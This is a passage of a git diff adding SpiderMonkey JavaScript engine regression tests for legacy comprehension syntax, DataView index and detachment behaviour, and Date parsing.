+assertIteratorResult(o.next(5), 2, false);
+assertIteratorResult(o.next(6), 3, false);
+assertIteratorResult(o.next(7), [5, 6, 7], true);
+
+reportCompare(null, null, "test");
diff --git a/js/src/tests/ecma_6/Comprehensions/error-messages.js b/js/src/tests/ecma_6/Comprehensions/error-messages.js
new file mode 100644
index 000000000..aeacfde27
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/error-messages.js
@@ -0,0 +1,172 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// This file tests contextual restrictions for yield and arguments, and is
+// derived from js1_8/genexps/regress-634472.js.
+
+function error(str) {
+ var base;
+ try {
+ // the following line must not be broken up into multiple lines
+ base = (function(){try{eval('throw new Error()')}catch(e){return e.lineNumber}})(); eval(str);
+ return null;
+ } catch (e) {
+ e.lineNumber = e.lineNumber - base + 1;
+ return e;
+ }
+}
+
+const YIELD_PAREN = error("(function*(){(for (y of (yield 1, 2)) y)})").message;
+const GENEXP_YIELD = error("(function*(){(for (x of yield 1) x)})").message;
+const TOP_YIELD = error("yield").message;
+const GENERIC = error("(for)").message;
+const BAD_GENERATOR_SYNTAX = error("(for (x of []) x, 1)").message;
+const MISSING_SEMI = error("yield 1").message;
+const PAREN_PAREN = error("(foo").message;
+const FOR_OF_PAREN = error("(for (x of y, z) w)").message;
+
+const cases = [
+// Expressions involving yield without a value, not currently implemented. Many
+// of these errors would need to be updated. (Note: line numbers below might be
+// mere placeholders, not actually the expected correct behavior -- check before
+// blindly uncommenting.)
+//{ expr: "yield", top: [TOP_YIELD, 777], fun: null, gen: [GENEXP_YIELD, 2], desc: "simple yield" },
+//{ expr: "1, yield", top: [TOP_YIELD, 777], fun: null, gen: [GENEXP_YIELD, 2], desc: "simple yield at end of list" },
+//{ expr: "yield, 1", top: [TOP_YIELD, 777], fun: [YIELD_PAREN, 2], gen: [YIELD_PAREN, 2], desc: "simple yield in list" },
+//{ expr: "(yield)", top: [TOP_YIELD, 777], fun: null, gen: [GENEXP_YIELD, 2], desc: "simple yield, parenthesized" },
+//{ expr: "(1, yield)", top: [TOP_YIELD, 777], fun: null, gen: [GENEXP_YIELD, 2], desc: "simple yield at end of list, parenthesized" },
+//{ expr: "(yield, 1)", top: [TOP_YIELD, 777], fun: [YIELD_PAREN, 2], gen: [YIELD_PAREN, 2], desc: "simple yield in list, parenthesized" },
+//{ expr: "((((yield))))", top: [TOP_YIELD, 777], fun: null, gen: [GENEXP_YIELD, 2], desc: "deeply nested yield" },
+//{ expr: "(for (x of []) yield)", top: [TOP_YIELD, 777], fun: [GENERIC, 777], gen: [GENERIC, 777], desc: "simple yield in genexp" },
+//{ expr: "(for (x of []) yield, 1)", top: [TOP_YIELD, 777], fun: [YIELD_PAREN, 2], gen: [YIELD_PAREN, 2], desc: "simple yield in list in genexp" },
+//{ expr: "(for (x of []) 1, yield)", top: [TOP_YIELD, 777], fun: [GENERIC, 777], gen: [GENERIC, 777], desc: "simple yield at end of list in genexp" },
+//{ expr: "(for (x of []) (yield))", top: [TOP_YIELD, 777], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], desc: "simple yield, parenthesized in genexp" },
+//{ expr: "(for (x of []) 1, (yield))", top: [TOP_YIELD, 777], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], desc: "simple yield, parenthesized in list in genexp" },
+//{ expr: "(for (x of []) (1, yield))", top: [TOP_YIELD, 777], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], desc: "simple yield at end of list, parenthesized in genexp" },
+//{ expr: "(for (x of []) 1, (2, yield))", top: [TOP_YIELD, 777], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], desc: "simple yield at end of list, parenthesized in list in genexp" },
+//{ expr: "(for (x of []) (yield, 1))", top: [TOP_YIELD, 777], fun: [YIELD_PAREN, 2], gen: [YIELD_PAREN, 2], desc: "simple yield in list, parenthesized in genexp" },
+//{ expr: "(for (x of []) 1, (yield, 2))", top: [TOP_YIELD, 777], fun: [YIELD_PAREN, 2], gen: [YIELD_PAREN, 2], desc: "simple yield in list, parenthesized in list in genexp" },
+//{ expr: "(for (x of []) (function*() { yield }))", top: null, fun: null, gen: null, desc: "legal yield in nested function" },
+
+ // yield expressions
+ { expr: "yield 1", top: [MISSING_SEMI, 2], fun: [MISSING_SEMI, 2], gen: null, genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg" },
+ { expr: "1, yield 2", top: [MISSING_SEMI, 2], fun: [MISSING_SEMI, 2], gen: null, genexp: [FOR_OF_PAREN, 1], desc: "yield w/ arg at end of list" },
+ { expr: "yield 1, 2", top: [MISSING_SEMI, 2], fun: [MISSING_SEMI, 2], gen: null, genexp: [FOR_OF_PAREN, 3], desc: "yield w/ arg in list" },
+ { expr: "(yield 1)", top: [PAREN_PAREN, 2], fun: [PAREN_PAREN, 2], gen: null, genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg, parenthesized" },
+ { expr: "(1, yield 2)", top: [PAREN_PAREN, 2], fun: [PAREN_PAREN, 2], gen: null, genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg at end of list, parenthesized" },
+ { expr: "(yield 1, 2)", top: [PAREN_PAREN, 2], fun: [PAREN_PAREN, 2], gen: null, genexp: [YIELD_PAREN, 2], desc: "yield w/ arg in list, parenthesized" },
+
+ // deeply nested yield expressions
+ { expr: "((((yield 1))))", top: [PAREN_PAREN, 2], fun: [PAREN_PAREN, 2], gen: null, genexp: [GENEXP_YIELD, 2], desc: "deeply nested yield w/ arg" },
+
+ // arguments
+ { expr: "arguments", top: null, fun: null, gen: null, genexp: null, desc: "arguments in list" },
+ { expr: "1, arguments", top: null, fun: null, gen: null, genexp: [FOR_OF_PAREN, 1], desc: "arguments in list" },
+
+ // yield in generator expressions
+ { expr: "(for (x of []) yield 1)", top: [GENEXP_YIELD, 2], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg in genexp" },
+ { expr: "(for (x of []) yield 1, 2)", top: [GENEXP_YIELD, 2], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg in list in genexp" },
+ { expr: "(for (x of []) 1, yield 2)", top: [PAREN_PAREN, 1], fun: [PAREN_PAREN, 1], gen: [PAREN_PAREN, 1], genexp: [PAREN_PAREN, 1], desc: "yield w/ arg at end of list in genexp" },
+ { expr: "(for (x of []) (yield 1))", top: [GENEXP_YIELD, 2], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg, parenthesized in genexp" },
+ { expr: "(for (x of []) 1, (yield 2))", top: [PAREN_PAREN, 1], fun: [PAREN_PAREN, 1], gen: [PAREN_PAREN, 1], genexp: [PAREN_PAREN, 1], desc: "yield w/ arg, parenthesized in list in genexp" },
+ { expr: "(for (x of []) (1, yield 2))", top: [GENEXP_YIELD, 2], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], genexp: [GENEXP_YIELD, 2], desc: "yield w/ arg at end of list, parenthesized in genexp" },
+ { expr: "(for (x of []) 1, (2, yield 3))", top: [PAREN_PAREN, 1], fun: [PAREN_PAREN, 1], gen: [PAREN_PAREN, 1], genexp: [PAREN_PAREN, 1], desc: "yield w/ arg at end of list, parenthesized in list in genexp" },
+ { expr: "(for (x of []) (yield 1, 2))", top: [YIELD_PAREN, 2], fun: [YIELD_PAREN, 2], gen: [YIELD_PAREN, 2], genexp: [YIELD_PAREN, 2], desc: "yield w/ arg in list, parenthesized in genexp" },
+ { expr: "(for (x of []) 1, (yield 2, 3))", top: [PAREN_PAREN, 1], fun: [PAREN_PAREN, 1], gen: [PAREN_PAREN, 1], genexp: [PAREN_PAREN, 1], desc: "yield w/ arg in list, parenthesized in list in genexp" },
+
+ // deeply nested yield in generator expressions
+ { expr: "(for (x of []) (((1, yield 2))))", top: [GENEXP_YIELD, 2], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], genexp: [GENEXP_YIELD, 2], desc: "deeply nested yield in genexp" },
+ { expr: "(for (y of []) (for (x of []) ((1, yield 2))))", top: [GENEXP_YIELD, 2], fun: [GENEXP_YIELD, 2], gen: [GENEXP_YIELD, 2], genexp: [GENEXP_YIELD, 2], desc: "deeply nested yield in multiple genexps" },
+
+ // arguments in generator expressions
+ { expr: "(for (x of []) arguments)", top: null, fun: null, gen: null, genexp: null, desc: "simple arguments in genexp" },
+ { expr: "(for (x of []) 1, arguments)", top: [BAD_GENERATOR_SYNTAX, 1], fun: [BAD_GENERATOR_SYNTAX, 1], gen: [BAD_GENERATOR_SYNTAX, 1], genexp: [BAD_GENERATOR_SYNTAX, 1], desc: "arguments in list in genexp" },
+ { expr: "(for (x of []) (arguments))", top: null, fun: null, gen: null, genexp: null, desc: "arguments, parenthesized in genexp" },
+ { expr: "(for (x of []) 1, (arguments))", top: [BAD_GENERATOR_SYNTAX, 1], fun: [BAD_GENERATOR_SYNTAX, 1], gen: [BAD_GENERATOR_SYNTAX, 1], genexp: [BAD_GENERATOR_SYNTAX, 1], desc: "arguments, parenthesized in list in genexp" },
+ { expr: "(for (x of []) (1, arguments))", top: null, fun: null, gen: null, genexp: null, desc: "arguments in list, parenthesized in genexp" },
+ { expr: "(for (x of []) 1, (2, arguments))", top: [BAD_GENERATOR_SYNTAX, 1], fun: [BAD_GENERATOR_SYNTAX, 1], gen: [BAD_GENERATOR_SYNTAX, 1], genexp: [BAD_GENERATOR_SYNTAX, 1], desc: "arguments in list, parenthesized in list in genexp" },
+
+ // deeply nested arguments in generator expressions
+ { expr: "(for (x of []) (((1, arguments))))", top: null, fun: null, gen: null, genexp: null, desc: "deeply nested arguments in genexp" },
+ { expr: "(for (y of []) (for (x of []) ((1, arguments))))", top: null, fun: null, gen: null, genexp: null, desc: "deeply nested arguments in multiple genexps" },
+
+ // legal yield/arguments in nested function
+ { expr: "(for (x of []) (function*() { yield 1 }))", top: null, fun: null, gen: null, genexp: null, desc: "legal yield in nested function" },
+ { expr: "(for (x of []) (function() { arguments }))", top: null, fun: null, gen: null, genexp: null, desc: "legal arguments in nested function" },
+ { expr: "(for (x of []) (function() arguments))", top: null, fun: null, gen: null, genexp: null, desc: "legal arguments in nested expression-closure" }
+];
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function splitKeyword(str) {
+ return str.
+// replace(/[)] yield/, ')\nyield\n').
+ replace(/yield ([0-9])/, '\nyield $1\n').
+ replace(/yield([^ ]|$)/, '\nyield\n$1').
+ replace(/arguments/, '\narguments\n');
+}
+
+function expectError1(err, ctx, msg, lineNumber) {
+ reportCompare('object', typeof err, 'exn for: ' + msg);
+ reportCompare(ctx, err.message, 'exn message for: ' + msg);
+ reportCompare(lineNumber, err.lineNumber, 'exn token for: ' + msg);
+}
+
+function expectError(expr, wrapCtx, [expect, lineNumber], msg) {
+ expectError1(error(wrapCtx(expr)), expect, msg, lineNumber);
+}
+
+function expectSuccess(err, msg) {
+ reportCompare(null, err, 'parse: ' + msg);
+}
+
+function atTop(str) { return str }
+function inFun(str) { return '(function(){' + str + '})' }
+function inGen(str) { return '(function*(){' + str + '})' }
+function inGenExp(str) { return '(for (y of ' + str + ') y)' }
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0, len = cases.length; i < len; i++) {
+ var expr, top, fun, gen, genexp, desc;
+ expr = cases[i].expr;
+ top = cases[i].top;
+ fun = cases[i].fun;
+ gen = cases[i].gen;
+ genexp = cases[i].genexp;
+ desc = cases[i].desc;
+
+ expr = splitKeyword(expr);
+
+ if (top)
+ expectError(expr, atTop, top, 'top-level context, ' + desc);
+ else
+ expectSuccess(error(expr), 'top-level context, ' + desc);
+
+ if (fun)
+ expectError(expr, inFun, fun, 'function context, ' + desc);
+ else
+ expectSuccess(error(inFun(expr)), 'function context, ' + desc);
+
+ if (gen)
+ expectError(expr, inGen, gen, 'generator context, ' + desc);
+ else
+ expectSuccess(error(inGen(expr)), 'generator context, ' + desc);
+
+ if (genexp)
+ expectError(expr, inGenExp, genexp, 'genexp context, ' + desc);
+ else
+ expectSuccess(error(inGenExp(expr)), 'genexp context, ' + desc);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_6/Comprehensions/generator-semantics.js b/js/src/tests/ecma_6/Comprehensions/generator-semantics.js
new file mode 100644
index 000000000..52426115f
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/generator-semantics.js
@@ -0,0 +1,52 @@
+// Interaction of eval with generator expressions.
+function a1() {
+ var a = 10;
+ var g = (for (y of [0]) eval('var a=42;'));
+ g.next();
+ return a;
+}
+assertEq(a1(), 10);
+
+function a2() {
+ var a = 10;
+ (for (y of [0]) eval('a=42')).next();
+ return a;
+}
+assertEq(a2(), 42)
+
+// Arguments and this.
+function b1() {
+ return [for (arg of (for (i of [0, 1, 2]) arguments[i])) arg];
+}
+assertDeepEq(b1('a', 'b', 'c'), ['a', 'b', 'c']);
+
+function b2() {
+ return [for (x of (for (i of [0]) this)) x];
+}
+var b2o = { b2: b2 }
+assertDeepEq(b2o.b2(), [b2o])
+
+// Assignment to eval or arguments.
+function c1() {
+ return [for (arg of (for (i of [0, 1, 2]) arguments = i)) arg];
+}
+assertDeepEq(c1(), [0, 1, 2]);
+
+function c2() {
+ "use strict";
+ return eval('[for (arg of (for (i of [0, 1, 2]) arguments = i)) arg]');
+}
+assertThrows(c2, SyntaxError);
+
+function c3() {
+ return [for (arg of (for (i of [0, 1, 2]) eval = i)) arg];
+}
+assertDeepEq(c3(), [0, 1, 2]);
+
+function c4() {
+ "use strict";
+ return eval('[for (arg of (for (i of [0, 1, 2]) eval = i)) arg]');
+}
+assertThrows(c4, SyntaxError);
+
+reportCompare(null, null, "test");
diff --git a/js/src/tests/ecma_6/Comprehensions/nested-for-if.js b/js/src/tests/ecma_6/Comprehensions/nested-for-if.js
new file mode 100644
index 000000000..4e3291182
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/nested-for-if.js
@@ -0,0 +1,20 @@
+// For and if clauses can nest without limit in comprehensions. This is
+// unlike JS 1.8 comprehensions, which can only have one trailing "if"
+// clause.
+
+function* range(start, end) {
+ for (var n = start; n < end; n++)
+ yield n;
+}
+
+function primesBetween6And25() {
+ return [for (n of range(6, 25)) if (n % 2) if (n % 3) if (n % 5) n];
+}
+assertDeepEq(primesBetween6And25(), [7,11,13,17,19,23]);
+
+function countUpToEvens(limit) {
+ return [for (n of range(0, limit)) if (!(n % 2)) for (m of range(0, n)) m]
+}
+assertDeepEq(countUpToEvens(7), [0,1,0,1,2,3,0,1,2,3,4,5]);
+
+reportCompare(null, null, "test");
diff --git a/js/src/tests/ecma_6/Comprehensions/scope.js b/js/src/tests/ecma_6/Comprehensions/scope.js
new file mode 100644
index 000000000..e9083d552
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/scope.js
@@ -0,0 +1,18 @@
+// The identifier of a ComprehensionFor is only bound within its tail.
+
+function t() {
+ var x = [0, 1, 2];
+ return [for (x of x) x*2]
+}
+assertDeepEq(t(), [0, 2, 4]);
+
+// Each iteration should create a fresh binding. Unfortunately this is
+// not currently the case, but bug 449811 will fix this.
+function t2() {
+ var x = [0, 1, 2];
+ return [for (x of x) ()=>x]
+}
+// FIXME: Should be [0, 1, 2].
+assertDeepEq([for (x of t2()) x()], [2, 2, 2]);
+
+reportCompare(null, null, "test");
diff --git a/js/src/tests/ecma_6/Comprehensions/shell.js b/js/src/tests/ecma_6/Comprehensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/shell.js
diff --git a/js/src/tests/ecma_6/Comprehensions/sudoku.js b/js/src/tests/ecma_6/Comprehensions/sudoku.js
new file mode 100644
index 000000000..680f55f64
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/sudoku.js
@@ -0,0 +1,168 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+function copy(obj) {
+ var o = {};
+ for (var i in obj)
+ o[i] = obj[i];
+ return o;
+}
+
+Array.prototype.repeat = function (n) {
+ var s = this.constructor();
+ for (var i = 0; i < n; i++)
+ s = s.concat(this);
+ return s;
+}
+
+String.prototype.center = function (w) {
+ var n = this.length;
+ if (w <= n)
+ return this;
+ var m = Math.floor((w - n) / 2);
+ return ' '.repeat(m) + this + ' '.repeat(w - n - m);
+}
+
+Array.prototype.toString = Array.prototype.toSource
+Object.prototype.toString = Object.prototype.toSource
+
+function all(seq) {
+ for (var e of seq)
+ if (!e)
+ return false;
+ return true;
+}
+
+function some(seq) {
+ for (var e of seq)
+ if (e)
+ return e;
+ return false;
+}
+
+function cross(A, B) {
+ return [for (a of A) for (b of B) a+b];
+}
+
+function dict(A) {
+ var d = {};
+ for (var e of A)
+ d[e[0]] = e[1];
+ return d;
+}
+
+function set(A) {
+ var s = [];
+ for (var e of A)
+ if (!s.includes(e))
+ s.push(e);
+ return s;
+}
+
+function zip(A, B) {
+ var z = [];
+ var n = Math.min(A.length, B.length);
+ for (var i = 0; i < n; i++)
+ z.push([A[i], B[i]]);
+ return z;
+}
+
+rows = 'ABCDEFGHI';
+cols = '123456789';
+digits = '123456789';
+squares = cross(rows, cols);
+unitlist = [for (c of cols) cross(rows, c)]
+ .concat([for (r of rows) cross(r, cols)])
+ .concat([for (rs of ['ABC','DEF','GHI']) for (cs of ['123','456','789']) cross(rs, cs)]);
+units = dict((for (s of squares)
+ [s, [for (u of unitlist) if (u.includes(s)) u]]));
+
+peers = dict((for (s of squares)
+ [s, set([for (u of units[s]) for (s2 of u) if (s2 != s) s2])]));
+
+// Given a string of 81 digits (or . or 0 or -), return a dict of {cell:values}.
+function parse_grid(grid) {
+ grid = [for (c of grid) if ('0.-123456789'.includes(c)) c];
+ var values = dict((for (s of squares) [s, digits]));
+
+ for (var pair of zip(squares, grid)) {
+ var s = pair[0], d = pair[1];
+ if (digits.includes(d) && !assign(values, s, d))
+ return false;
+ }
+ return values;
+}
+
+// Eliminate all the other values (except d) from values[s] and propagate.
+function assign(values, s, d) {
+ if (all((for (d2 of values[s]) if (d2 != d) eliminate(values, s, d2))))
+ return values;
+ return false;
+}
+
+// Eliminate d from values[s]; propagate when values or places <= 2.
+function eliminate(values, s, d) {
+ if (!values[s].includes(d))
+ return values; // Already eliminated
+ values[s] = values[s].replace(d, '');
+ if (values[s].length == 0)
+ return false; // Contradiction: removed last value
+ if (values[s].length == 1) {
+ // If there is only one value (d2) left in square, remove it from peers
+ var d2 = values[s][0];
+ if (!all((for (s2 of peers[s]) eliminate(values, s2, d2))))
+ return false;
+ }
+ // Now check the places where d appears in the units of s
+ for (var u of units[s]) {
+ var dplaces = [for (s of u) if (values[s].includes(d)) s];
+ if (dplaces.length == 0)
+ return false;
+ if (dplaces.length == 1)
+ // d can only be in one place in unit; assign it there
+ if (!assign(values, dplaces[0], d))
+ return false;
+ }
+ return values;
+}
+
+// Used for debugging.
+function print_board(values) {
+ var width = 1 + Math.max.apply(Math, [for (s of squares) values[s].length]);
+ var line = '\n' + ['-'.repeat(width*3)].repeat(3).join('+');
+ for (var r of rows)
+ print([for (c of cols)
+ values[r+c].center(width) + ('36'.includes(c) && '|' || '')]
+ .join('') + ('CF'.includes(r) && line || ''));
+ print('\n');
+}
+
+easy = "..3.2.6..9..3.5..1..18.64....81.29..7.......8..67.82....26.95..8..2.3..9..5.1.3..";
+
+print_board(parse_grid(easy));
+
+// Using depth-first search and constraint propagation, try all possible values.
+function search(values) {
+ if (!values)
+ return false; // Failed earlier
+ if (all((for (s of squares) values[s].length == 1)))
+ return values; // Solved!
+
+ // Choose the unfilled square s with the fewest possibilities
+ // XXX Math.min etc. should work with generator expressions and other iterators
+ // XXX Math.min etc. should work on arrays (lists or tuples in Python) as well as numbers
+ var a = [for (s of squares) if (values[s].length > 1) values[s].length + s].sort();
+ var s = a[0].slice(-2);
+
+ return some((for (d of values[s]) search(assign(copy(values), s, d))));
+}
+
+hard = '4.....8.5.3..........7......2.....6.....8.4......1.......6.3.7.5..2.....1.4......';
+
+print_board(search(parse_grid(hard)))
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Comprehensions/syntax.js b/js/src/tests/ecma_6/Comprehensions/syntax.js
new file mode 100644
index 000000000..a57b1e6dd
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/syntax.js
@@ -0,0 +1,6 @@
+// "let" is not allowed as an identifier.
+
+assertThrowsInstanceOf(function () { eval('[for (let of y) foo]') }, SyntaxError);
+assertThrowsInstanceOf(function () { eval('(for (let of y) foo)') }, SyntaxError);
+
+reportCompare(null, null, "test");
diff --git a/js/src/tests/ecma_6/Comprehensions/toSource.js b/js/src/tests/ecma_6/Comprehensions/toSource.js
new file mode 100644
index 000000000..5ce1db172
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/toSource.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertEq( function () { g = (for (d of [0]) d); g.next(); }.toSource(),
+ '(function () { g = (for (d of [0]) d); g.next(); })');
+
+
+assertEq( function () { return [for (d of [0]) d]; }.toSource(),
+ '(function () { return [for (d of [0]) d]; })');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/DataView/browser.js b/js/src/tests/ecma_6/DataView/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/DataView/browser.js
diff --git a/js/src/tests/ecma_6/DataView/detach-after-construction.js b/js/src/tests/ecma_6/DataView/detach-after-construction.js
new file mode 100644
index 000000000..7e9924778
--- /dev/null
+++ b/js/src/tests/ecma_6/DataView/detach-after-construction.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer
+
+var buf = new ArrayBuffer([1,2]);
+var bufView = new DataView(buf);
+
+detachArrayBuffer(buf);
+
+assertThrowsInstanceOf(() => bufView.getInt8(0), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/DataView/get-set-index-range.js b/js/src/tests/ecma_6/DataView/get-set-index-range.js
new file mode 100644
index 000000000..4391591b6
--- /dev/null
+++ b/js/src/tests/ecma_6/DataView/get-set-index-range.js
@@ -0,0 +1,36 @@
+var buffer = new ArrayBuffer(2);
+var view = new DataView(buffer);
+
+function check(view) {
+ for (let fun of ['getInt8', 'setInt8', 'getInt16', 'setInt16']) {
+ assertThrowsInstanceOf(() => view[fun](-10), RangeError);
+ assertThrowsInstanceOf(() => view[fun](-Infinity), RangeError);
+ assertThrowsInstanceOf(() => view[fun](Infinity), RangeError);
+
+ assertThrowsInstanceOf(() => view[fun](Math.pow(2, 53)), RangeError);
+ assertThrowsInstanceOf(() => view[fun](Math.pow(2, 54)), RangeError);
+ }
+}
+
+check(view);
+
+for (let fun of ['getInt8', 'getInt16']) {
+ assertEq(view[fun](0), 0);
+ assertEq(view[fun](undefined), 0);
+ assertEq(view[fun](NaN), 0);
+}
+
+if ('detachArrayBuffer' in this) {
+ // ToIndex is called before detachment check, so we can tell the difference
+ // between a ToIndex failure and a real out of bounds failure.
+ detachArrayBuffer(buffer);
+
+ check(view);
+
+ assertThrowsInstanceOf(() => view.getInt8(0), TypeError);
+ assertThrowsInstanceOf(() => view.setInt8(0, 0), TypeError);
+ assertThrowsInstanceOf(() => view.getInt8(Math.pow(2, 53) - 1), TypeError);
+ assertThrowsInstanceOf(() => view.setInt8(Math.pow(2, 53) - 1, 0), TypeError);
+}
+
+reportCompare(0, 0, 'OK');
diff --git a/js/src/tests/ecma_6/DataView/getter-name.js b/js/src/tests/ecma_6/DataView/getter-name.js
new file mode 100644
index 000000000..600b7da8b
--- /dev/null
+++ b/js/src/tests/ecma_6/DataView/getter-name.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1180290;
+var summary = 'DataView getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "buffer").get.name, "get buffer");
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "byteLength").get.name, "get byteLength");
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "byteOffset").get.name, "get byteOffset");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/DataView/shell.js b/js/src/tests/ecma_6/DataView/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/DataView/shell.js
diff --git a/js/src/tests/ecma_6/Date/browser.js b/js/src/tests/ecma_6/Date/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/browser.js
diff --git a/js/src/tests/ecma_6/Date/constructor-one-Date-argument.js b/js/src/tests/ecma_6/Date/constructor-one-Date-argument.js
new file mode 100644
index 000000000..718c41373
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/constructor-one-Date-argument.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1187233;
+var summary =
+ "Passing a Date object to |new Date()| should copy it, not convert it to " +
+ "a primitive and create it from that.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Date.prototype.toString = Date.prototype.valueOf = null;
+var d = new Date(new Date(8675309));
+assertEq(d.getTime(), 8675309);
+
+Date.prototype.valueOf = () => 42;
+d = new Date(new Date(8675309));
+assertEq(d.getTime(), 8675309);
+
+var D = newGlobal().Date;
+
+D.prototype.toString = D.prototype.valueOf = null;
+var d = new Date(new D(3141592654));
+assertEq(d.getTime(), 3141592654);
+
+D.prototype.valueOf = () => 525600;
+d = new Date(new D(3141592654));
+assertEq(d.getTime(), 3141592654);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Date/non-iso.js b/js/src/tests/ecma_6/Date/non-iso.js
new file mode 100644
index 000000000..9c352ee74
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/non-iso.js
@@ -0,0 +1,63 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+/*
+ * For the sake of cross compatibility with other implementations we
+ * follow the W3C "NOTE-datetime" specification when parsing dates of
+ * the form YYYY-MM-DDTHH:MM:SS save for a few exceptions: months, days, hours
+ * minutes, and seconds may be either one _or_ two digits long, and the 'T'
+ * preceding the time part may be replaced with a space. So, a string like
+ * "1997-3-8 1:1:1" will parse successfully. See bug: 1203298
+ */
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(new Date("1997-03-08 1:1:1.01").getTime(),
+ new Date("1997-03-08T01:01:01.01").getTime());
+assertEq(new Date("1997-03-08 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-08 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-8T11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-03-8T11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-03-08 11:19").getTime(),
+ new Date("1997-03-08T11:19").getTime());
+assertEq(new Date("1997-03-08 1:19").getTime(),
+ new Date("1997-03-08T1:19").getTime());
+assertEq(new Date("1997-03-08 1:1").getTime(),
+ new Date("1997-03-08T1:1").getTime());
+assertEq(new Date("1997-03-08 1:1:01").getTime(),
+ new Date("1997-03-08T1:1:01").getTime());
+assertEq(new Date("1997-03-08 1:1:1").getTime(),
+ new Date("1997-03-08T1:1:1").getTime());
+assertEq(new Date("1997-03-08 11").getTime(),
+ new Date("1997-03-08T11").getTime());
+assertEq(new Date("1997-03-08").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-03-8").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-3-8").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-3-8 ").getTime(),
+ new Date("1997-03-08T").getTime()); // Date(NaN)
+assertEq(new Date("1997-3-8 :00:01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 :00:01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 01::01").getTime(),
+ new Date(NaN).getTime());
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Date/prototype-is-not-a-date.js b/js/src/tests/ecma_6/Date/prototype-is-not-a-date.js
